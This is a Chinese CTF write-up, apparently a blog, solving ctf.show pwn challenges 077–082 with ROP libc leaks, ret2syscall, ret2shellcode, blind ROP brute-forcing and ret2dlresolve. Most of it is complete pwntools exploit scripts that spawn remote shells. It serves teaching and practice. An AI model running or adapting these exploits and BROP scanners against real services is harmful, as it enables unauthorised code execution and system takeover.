077
题目描述
Ez ROP or Mid ROP ?


feof(stdin)这个是在判断标准输入是否已经到达结尾,如果 EOF 返回 1 ,如果未 EOF 返回 0
int fgetc(FILE *stream);其返回值是 int ,而非 char ,原因是 EOF 的特殊值是 -1 ,无法用 char 表示
这里的漏洞点在于其用 char 接收整型返回类型,会丢失 EOF 信息,同时未检查 v2 长度,造成越界溢出
#! /usr/bin/env python3from pwn import *elf = ELF('./pwn')rop = ROP(elf)p = remote('pwn.challenge.ctf.show',28273)puts_got = elf.got['puts']puts_plt = elf.plt['puts']puts_offset = 0x080970main = elf.symbols['main']system_offset = 0x04f420bin_sh_offset = 0x1b3d88p.recvuntil('T^T\n')pop_rdi = rop.find_gadget(['pop rdi', 'ret']).addressret_addr = rop.find_gadget(['ret']).addressoffset = 0x10cp.sendline(b'a' * offset + p32(0x10d) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main))leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))log.info(f'Leaked puts address: {hex(leaked_puts)}')libc_base = leaked_puts - puts_offsetsystem_addr = libc_base + system_offsetbin_sh_addr = libc_base + bin_sh_offsetlog.info(f'Libc base address: {hex(libc_base)}')log.info(f'system address: {hex(system_addr)}')log.info(f'/bin/sh address: {hex(bin_sh_addr)}')p.recvuntil('T^T\n')p.sendline(b'a' * offset + p32(0x10d) + p64(0) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr))p.interactive()
注意几个关键点,我们覆盖的时候需要保证计数器设置正确,否则我们的 payload 不会覆盖到我们想要的地址上面
078
题目描述
补发:64位ret2syscall
也是用上一把梭了
#! /usr/bin/env python3from pwn import *from struct import packr = remote('pwn.challenge.ctf.show', 28134)r.recvuntil('where is my system_x64?\n')offset = 0x50 + 8p = b'a' * offsetp += pack('<Q', 0x00000000004017d7) # pop rsi ; retp += pack('<Q', 0x00000000006c0060) # @ .datap += pack('<Q', 0x000000000046b9f8) # pop rax ; retp += b'/bin//sh'p += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x00000000004017d7) # pop rsi ; retp += pack('<Q', 0x00000000006c0068) # @ .data + 8p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; retp += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x00000000004016c3) # pop rdi ; retp += pack('<Q', 0x00000000006c0060) # @ .datap += pack('<Q', 0x00000000004017d7) # pop rsi ; retp += pack('<Q', 0x00000000006c0068) # @ .data + 8p += pack('<Q', 0x00000000004377d5) # pop rdx ; retp += pack('<Q', 0x00000000006c0068) # @ .data + 8p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x000000000045afa0) # add rax, 1 ; retp += pack('<Q', 0x0000000000400488) # syscallr.sendline(p)r.interactive()079
题目描述
你需要注意某些函数,这是解题的关键!

发现 NX 没开,那考虑 ret2shellcode


溢出点在 ctfshow 处
既然可以 ret2shell 之前我们的ret2shell 题型一般都是跳转到我们放置 shell 的空间,或者直接 lea rax ,... 然后 call rax

我们可以看见 main 函数是把输入的地址放到 eax 保存,没有 call eax 指令,那我们想办法在此放置 shell 并通过 strcpy 造成的溢出跳转到 call eax 或者 jmp eax 的地址
#! /usr/bin/env python3from pwn import *context(arch = 'i386', os = 'linux')elf = ELF('./pwn')rop = ROP(elf)call_eax = 0x080484a0p = remote('pwn.challenge.ctf.show',28253)p.recvuntil('Enter your input: ')shellcode = asm(shellcraft.sh())offset = 0x208 + 4payload = shellcode.ljust(offset, b'a') + p32(call_eax)p.send(payload)p.interactive() 
080 BROP
题目描述
盲打 blind rop (不是忘记放附件,是本身就没附件!!!)
有点小激动,第一次正儿八经做盲 pwn
BROP 第一步判断是否含有栈溢出


可以看见溢出崩溃了。那么我们接下来暴力枚举溢出长度
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28243)def bufLength(): i = 1 while True: try: p = remote('pwn.challenge.ctf.show', 28243) p.recvuntil('Welcome to CTFshow-PWN ! Do you know who is daniu?\n') p.send(i*b'a') data = p.recv() p.close() if data.startswith(b'No passwd'): i += 1 else: return i-1 except EOFError: p.close() return i-1 offset = bufLength()log.info(f'Buffer length: {offset}')
可以看见溢出长度是 72,那接下来我们需要寻找 stop_gadget
什么是 stop_gadget?
从盲打角度来说,我们溢出后返回错误地址崩溃和溢出后返回正确地址紧接着跳转错误地址崩溃从结果上看都是崩溃,我们无法确定程序是因为哪个地址错误而崩溃,所以我们先需要一个 gadget ,当我们进入这个 gadget,程序不会崩溃,他不一定是 ret ,只要它能让程序与我们建立稳定的连接即可。这样子等我们验证其他 useful_gadget 是否有效时就可以通过 stop_gadget 验证。
举个例子,我们原来这样填充
paddingstop_gadget程序存活
paddinguseful_gadgetstop_gadget如果程序存活,即 useful_gadget 有效,如果崩溃则 useful_gadget 无效
如何去寻找? stop_gadget
常见的 64 位非 PIE 程序地址
0x400000 ELF 映射起始0x401000 .text 代码段附近0x402000 .rodata 附近0x404000 .got / .bss 附近一些代码段,函数入口 PLT 和可返回片段一般都在 0x400000 ~ 0x500000 故我们从 0x400000 开始扫
def stopGadget(): start_addr = 0x400000 while True: log.info(f'Trying address: {hex(start_addr)}') try: p = remote(HOST, PORT) p.recvuntil('Welcome to CTFshow-PWN ! Do you know who is daniu?\n') p.send(b'a' * BUFLEN + p64(start_addr)) output = p.recv() p.close() if output.startswith(b'Welcome to CTFshow-PWN'): log.info(f'Address {hex(start_addr)} is a stop gadget.') return start_addr else: start_addr += 1 except EOFError: start_addr += 1 p.close()stop_gadget = stopGadget() log.success(f'Stop gadget found at: {hex(stop_gadget)}')
寻找 useful gadget
一般在这些地址附近存在稳定连续的 gadget 一般是 csu 里面的, 所以我们找一个gadget,这个 gadget 可以稳定的吃掉后面 6 个参数,注意,当我们找到这个gadget,如果没崩这并不意味就是找到了真正的 usefulgadget,有可能只是进入了 start 或者其他 stop_gadget ,这时我们需要再删除后面的 stop_gadget ,如果崩了,说明刚才的 ret 依赖于stopgadget,并吃掉了 6 个参数,如果没有,说明这不是我们想找的 useful_gadget
def usefulgadget(BUFLEN, Stop_addr): addr = Stop_gadget while True: sleep(0.1) addr += 1 payload = b"A" * BUFLEN payload += p64(addr) payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) payload += p64(Stop_addr) p = None try: p = remote(HOST, PORT, timeout=5) p.recvuntil(BANNER_END, timeout=5) p.sendline(payload) data = p.recvrepeat(1.2) except EOFError: data = b'' except Exception as e: log.warning(f"try {hex(addr)} failed: {e}") sleep(0.5) continue finally: if p is not None: p.close() if PROMPT not in data or CRASH in data: log.info("bad: %s %r" % (hex(addr), data[:60] if data else data)) continue log.info("candidate address: %s" % hex(addr)) check = b"A" * BUFLEN check += p64(addr) check += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) p = None try: p = remote(HOST, PORT, timeout=5) p.recvuntil(BANNER_END, timeout=5) p.sendline(check) data = p.recvrepeat(1.2) except EOFError: data = b'' except Exception as e: log.warning(f"check {hex(addr)} failed: {e}") sleep(0.5) continue finally: if p is not None: p.close() if PROMPT in data and CRASH not in data: log.info("stop-like bad address: %s" % hex(addr)) continue log.info("find usefulgadget address: %s" % hex(addr)) return addruseful_gadget = usefulgadget(BUFLEN, Stop_gadget)log.success(f'Useful gadget found at: {hex(useful_gadget)}')
那么我们可以确定 pop rdi 的地址了,原 csu 是
+0 pop rbx+1 pop rbp+2 pop r12+4 pop r13+6 pop r14+8 pop r15 机器码 41 5f+10 ret我们从 +9 位置切入,就是
+9 pop rdi 从 5f 开始错位解释有了 pop rdi ,我们就可以找 puts_plt 的地址
def getPutsplt(BUFLEN, useful_gadget, Stop_gadget): addr = Stop_gadget while True: sleep(0.1) addr += 1 payload = b"A" * BUFLEN payload += p64(pop_rdi) payload += p64(0x400000) payload += p64(addr) try: p = remote(HOST, PORT) p.recvuntil(BANNER_END) p.sendline(payload) if p.recv().startswith(b"\x7fELF"): log.info(f'Address {hex(addr)} is puts plt.') p.close() return addr log.info(f'Address {hex(addr)} is not puts plt.') p.close() except EOFError as e: log.info(f'Address {hex(addr)} is not puts plt.') except: addr -= 1puts_plt = getPutsplt(BUFLEN, useful_gadget, Stop_gadget)log.success(f'puts plt found at: {hex(puts_plt)}')
之后我们找到 puts_got
def Dumpmem(BUFLEN, useful_gadget, Stop_gadget, puts_plt, end_addr, start_addr): addr = Stop_gadget result = b"" while start_addr < end_addr: sleep(0.1) payload = b"A" * BUFLEN payload += p64(pop_rdi) payload += p64(start_addr) payload += p64(puts_plt) payload += p64(Stop_gadget) p = None try: p = remote(HOST, PORT, timeout=5) p.recvuntil(BANNER_END, timeout=5) p.sendline(payload) data = p.recvrepeat(1) if PROMPT in data: data = data.split(PROMPT)[0] if data == b"\n": data = b"\x00" elif data.endswith(b"\n"): data = data[:-1] if data == b"": log.warning("empty leak: 0x%x" % start_addr) start_addr += 1 p.close() continue log.info("leaking: 0x%x --> %s" % (start_addr, data.hex())) result += data start_addr += len(data) p.close() except Exception as e: log.warning("0x%x error: %s" % (start_addr, e)) if p is not None: p.close() start_addr += 1 return resultdump = Dumpmem(BUFLEN, useful_gadget, Stop_gadget, puts_plt, end_addr, start_addr)print(dump)## 我们从 end_addr = 0x603000start_addr = 0x601000## 去找我们知道 puts_plt 后可以去其附近找,会出现
400550: ff 25 c2 1a 20 00 jmp QWORD PTR [rip+0x201ac2] # 602018400556: 68 00 00 00 00 push 0x040055b: e9 e0 ff ff ff jmp 400540#! /usr/bin/env python3from pwn import *from LibcSearcher import LibcSearcherHOST = 'pwn.challenge.ctf.show'PORT = 28295BUFLEN = 72Stop_gadget = 0x400728BANNER_END = b'Do you know who is daniu?\n'PROMPT = b'Welcome to CTFshow-PWN ! Do you know who is daniu?\n'CRASH = b'dumped core'useful_gadget = 0x40083apop_rdi = useful_gadget + 9puts_plt = 0x400550end_addr = 0x603000start_addr = 0x602000puts_got = 0x602018'''def bufLength(): i = 1 while True: try: p = remote(HOST, PORT) p.recvuntil('Welcome to CTFshow-PWN ! Do you know who is daniu?\n') p.send(i*b'a') data = p.recv() p.close() if data.startswith(b'No passwd'): i += 1 else: return i-1 except EOFError: p.close() return i-1 offset = bufLength()log.info(f'Buffer length: {offset}')def stopGadget(): start_addr = 0x400721 while True: log.info(f'Trying address: {hex(start_addr)}') try: p = remote(HOST, PORT) p.recvuntil('Welcome to CTFshow-PWN ! Do you know who is daniu?\n') p.send(b'a' * BUFLEN + p64(start_addr)) output = p.recv() p.close() if output.startswith(b'Welcome to CTFshow-PWN'): log.info(f'Address {hex(start_addr)} is a stop gadget.') return start_addr else: start_addr += 1 except EOFError: start_addr += 1 p.close()stop_gadget = stopGadget() log.success(f'Stop gadget found at: {hex(stop_gadget)}')def usefulgadget(BUFLEN, Stop_addr): addr = Stop_gadget while True: sleep(0.1) addr += 1 payload = b"A" * BUFLEN payload += p64(addr) payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) payload += p64(Stop_addr) p = None try: p = remote(HOST, PORT, timeout=5) p.recvuntil(BANNER_END, timeout=5) p.sendline(payload) data = p.recvrepeat(1.2) except EOFError: data = b'' except Exception as e: log.warning(f"try {hex(addr)} failed: {e}") sleep(0.5) continue finally: if p is not None: p.close() if PROMPT not in data or CRASH in data: log.info("bad: %s %r" % (hex(addr), data[:60] if data else data)) continue log.info("candidate address: %s" % hex(addr)) check = b"A" * BUFLEN check += p64(addr) check += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) p = None try: p = remote(HOST, PORT, timeout=5) p.recvuntil(BANNER_END, timeout=5) p.sendline(check) data = p.recvrepeat(1.2) except EOFError: data = b'' except Exception as e: log.warning(f"check {hex(addr)} failed: {e}") sleep(0.5) continue finally: if p is not None: p.close() if PROMPT in data and CRASH not in data: log.info("stop-like bad address: %s" % hex(addr)) continue log.info("find usefulgadget address: %s" % hex(addr)) return addruseful_gadget = usefulgadget(BUFLEN, Stop_gadget)log.success(f'Useful gadget found at: {hex(useful_gadget)}')def getPutsplt(BUFLEN, useful_gadget, Stop_gadget): addr = Stop_gadget while True: sleep(0.1) addr += 1 payload = b"A" * BUFLEN payload += p64(pop_rdi) payload += p64(0x400000) payload += p64(addr) try: p = remote(HOST, PORT) p.recvuntil(BANNER_END) p.sendline(payload) if p.recv().startswith(b"\x7fELF"): log.info(f'Address {hex(addr)} is puts plt.') p.close() return addr log.info(f'Address {hex(addr)} is not puts plt.') p.close() except EOFError as e: log.info(f'Address {hex(addr)} is not puts plt.') except: addr -= 1puts_plt = getPutsplt(BUFLEN, useful_gadget, Stop_gadget)log.success(f'puts plt found at: {hex(puts_plt)}') def Dumpmem(BUFLEN, useful_gadget, Stop_gadget, puts_plt, end_addr, start_addr): addr = Stop_gadget result = b"" while start_addr < end_addr: sleep(0.1) payload = b"A" * BUFLEN payload += p64(pop_rdi) payload += p64(start_addr) payload += p64(puts_plt) payload += p64(Stop_gadget) p = None try: p = remote(HOST, PORT, timeout=5) p.recvuntil(BANNER_END, timeout=5) p.sendline(payload) data = p.recvrepeat(1) if PROMPT in data: data = data.split(PROMPT)[0] if data == b"\n": data = b"\x00" elif data.endswith(b"\n"): data = data[:-1] if data == b"": log.warning("empty leak: 0x%x" % start_addr) start_addr += 1 p.close() continue log.info("leaking: 0x%x --> %s" % (start_addr, data.hex())) result += data start_addr += len(data) p.close() except Exception as e: log.warning("0x%x error: %s" % (start_addr, e)) if p is not None: p.close() start_addr += 1 return resultdump = Dumpmem(BUFLEN, useful_gadget, Stop_gadget, puts_plt, end_addr, start_addr)print(dump)''' # puts_addr = u64(bytes.fromhex("c0d91c7a757f").ljust(8, b"\x00"))#print(hex(puts_addr))p = remote(HOST, PORT)p.recvuntil(BANNER_END)payload = b'a' * BUFLENpayload += p64(pop_rdi)payload += p64(puts_got)payload += p64(puts_plt)payload += p64(Stop_gadget)p.sendline(payload)puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))log.info(f'Leaked puts address: {hex(puts_addr)}')p.recvuntil(BANNER_END)libc = LibcSearcher()libc.db = 'libc6_2.27-3ubuntu1_amd64.symbols'libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')bin_sh_addr = libc_base + libc.dump('str_bin_sh')log.info(f'Libc base address: {hex(libc_base)}')log.info(f'system address: {hex(system_addr)}')log.info(f'/bin/sh address: {hex(bin_sh_addr)}')payload = b'a' * BUFLENpayload += p64(pop_rdi)payload += p64(bin_sh_addr)payload += p64(system_addr)p.sendline(payload)p.interactive()最后 puts_plt 改了,原来的 puts_plt 大概率不是 puts_plt 位置,可能只是一个能调用 puts 的地方 ,导致一直拿不到 shell
081
题目描述
ROP变种


这道题开了 PIE ,所以要么泄露 PIE 基址,要么直接走 libc ,但是题目直接给了 system 真实地址,所有的 gadget 用 libc 表示就行
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')elf = ELF('./pwn')libc = ELF('./libc.so.6')p = remote('pwn.challenge.ctf.show', 28239)p.recvuntil(b'Maybe it\'s simple,O.o\n')system_addr = int(p.recvline().strip(), 16)log.info(f'Leaked system address: {hex(system_addr)}')libc_base = system_addr - libc.sym['system']bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))pop_rdi = libc_base + next(libc.search(asm('pop rdi; ret')))ret_addr = libc_base + next(libc.search(asm('ret')))log.info(f'Libc base address: {hex(libc_base)}')log.info(f'/bin/sh address: {hex(bin_sh_addr)}')offset = 0x80 + 8payload = b'a' * offsetpayload += p64(ret_addr)payload += p64(pop_rdi)payload += p64(bin_sh_addr)payload += p64(system_addr)p.sendline(payload)p.interactive()082
题目描述
高级ROP 32 位 NO-RELRO

从题目描述看大概是 ret2dlresolve 了
ret2dlresolve
ret2dlresolve 利用的是懒绑定机制,程序正常调用某个函数的过程,例如 puts_plt
puts@plt -> plt[0] -> _dl_runtime_resolve(link_map, reloc_arg) -> 动态链接器根据 .rela.plt / .dynsym / .dynstr 找到 "puts" -> 解析 libc 里的 puts 地址 -> 写回 GOT -> 跳过去执行 puts.rela.plt.dynsym.dynstr这三个都是动态链接要用到的表
.dynstr 动态字符串表,就是一堆以 \x00 结尾的字符串
libc.so.6\x00 puts\x00 read\x00 printf\x00 system\x00就差不多像这样。
.dynsym 动态符号表,这是一个数组,每一项是一个 Elf64_Sym 结构,描述一个动态符号,比如 puts、read、printf。
typedef struct { Elf64_Word st_name; // 符号名在 .dynstr 里的偏移 unsigned char st_info; // 类型和绑定信息,比如 GLOBAL + FUNC unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym;差不多像这样,比如 .dynsym[2] 是 puts ,他不会直接去写 puts,而是根据偏移去 .dynsym 找字符串,最终找到 puts
.rela.plt 每一项有三个字段
typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela;关键的是前两个,第一个是这个要解析到这个函数的 got 表的位置,第二个有两个信息
r_info 高 32 位放的是 .dynsym 里的符号下标,低 32 位是重定位类型
举例: r_info = (sym_index << 32) | 7 7 就是 R_X86_64_JUMP_SLOT , 即 PLT/GOT 这种函数跳转用的重定位
所以流程大致是
PLT push reloc_index | v .rela.plt[reloc_index] | | r_info 高 32 位 v .dynsym[sym_index] | | st_name v .dynstr + st_name | v "puts\x00" | v 动态链接器在 libc 找 puts | v 写回 r_offset,也就是 puts@got如何去利用?
我们所要做的,是去伪造,正常情况下
puts@plt: jmp [puts@got] push 0 jmp plt0会算 rela = JMPREL + index * 0x18; 那么结果也就是 rela.plt[0],但是因为程序中没有 system ,所以正常情况下 rela.plt里面是没有的,所以我们需要在一个可写的地方如 .bss 放置我们伪造的 system ,比如
比如: .rela.plt 起始地址 JMPREL = 0x400500 fake_rela 放在地址 = 0x601800我们希望 rela == fake_rela_addr,所以反过来 index = (fake_rela_addr - JMPREL) // 0x18
即 index = (0x601800 - 0x400500) // 0x18
本题





第一个是手搓的 payload
#!/usr/bin/env python3from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = process('./pwn')def align_by(addr, base, size): return addr + ((size - ((addr - base) % size)) % size)'''remainder = (addr - dynsym) % 0x10if remainder == 0: padding = 0else: padding = 0x10 - remainderaligned_addr = addr + padding'''offset = 0x70read_plt = elf.plt['read']plt0 = elf.get_section_by_name('.plt').header.sh_addrrelplt = elf.dynamic_value_by_tag('DT_JMPREL')dynsym = elf.dynamic_value_by_tag('DT_SYMTAB')dynstr = elf.dynamic_value_by_tag('DT_STRTAB')# add esp, 8; pop ebx; retread_ret = 0x0804834adata_addr = 0x08049900sym_size = 0x10rel_size = 0x08r_386_jump_slot = 0x07system_str_addr = data_addrfake_sym_addr = align_by(system_str_addr + len(b'system\x00'), dynsym, sym_size)fake_rel_addr = fake_sym_addr + sym_sizebinsh_addr = fake_rel_addr + rel_sizest_name = system_str_addr - dynstrsym_index = (fake_sym_addr - dynsym) // sym_sizer_info = (sym_index << 8) | r_386_jump_slotreloc_arg = fake_rel_addr - relpltassert (fake_sym_addr - dynsym) % sym_size == 0# Elf32_Sym:# st_name, st_value, st_size, st_info, st_other, st_shndxfake_sym = flat( p32(st_name), p32(0), p32(0), p8(0x12), # STB_GLOBAL | STT_FUNC 即全局函数符号 p8(0), p16(0),)# Elf32_Rel:# r_offset, r_infofake_rel = flat( p32(data_addr), p32(r_info),)dlresolve_payload = b'system\x00'dlresolve_payload = dlresolve_payload.ljust(fake_sym_addr - data_addr, b'a')dlresolve_payload += fake_symdlresolve_payload += fake_reldlresolve_payload += b'/bin/sh\x00'stage1 = b'a' * offsetstage1 += p32(read_plt)stage1 += p32(read_ret)stage1 += p32(0)stage1 += p32(data_addr)stage1 += p32(len(dlresolve_payload))stage1 += p32(plt0)stage1 += p32(reloc_arg)stage1 += p32(0)stage1 += p32(binsh_addr)log.info('plt0 = %#x', plt0)log.info('read@plt = %#x', read_plt)log.info('.rel.plt = %#x', relplt)log.info('.dynsym = %#x', dynsym)log.info('.dynstr = %#x', dynstr)log.info('system string = %#x', system_str_addr)log.info('fake Elf32_Sym = %#x', fake_sym_addr)log.info('fake Elf32_Rel = %#x', fake_rel_addr)log.info('/bin/sh = %#x', binsh_addr)log.info('sym_index = %#x', sym_index)log.info('r_info = %#x', r_info)log.info('reloc_arg = %#x', reloc_arg)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.send(stage1)sleep(0.1)p.sendline(dlresolve_payload)p.interactive()第二个是用的 pwntools 的工具
#! /usr/bin/env python3 from pwn import *context(arch='i386', os='linux')elf = ELF('./pwn')p = process('./pwn')offset = 0x70data_addr = 0x8049900dlresolve = Ret2dlresolvePayload( elf, symbol='system', args=['/bin/sh'], data_addr=data_addr)rop = ROP(elf)rop.read(0, data_addr, len(dlresolve.payload))rop.ret2dlresolve(dlresolve)p.recvuntil(b'Welcome to CTFshowPWN!\n')p.sendline(flat({ offset: rop.chain()}))p.sendline(dlresolve.payload)p.interactive()
读者回信
正在翻开留言页...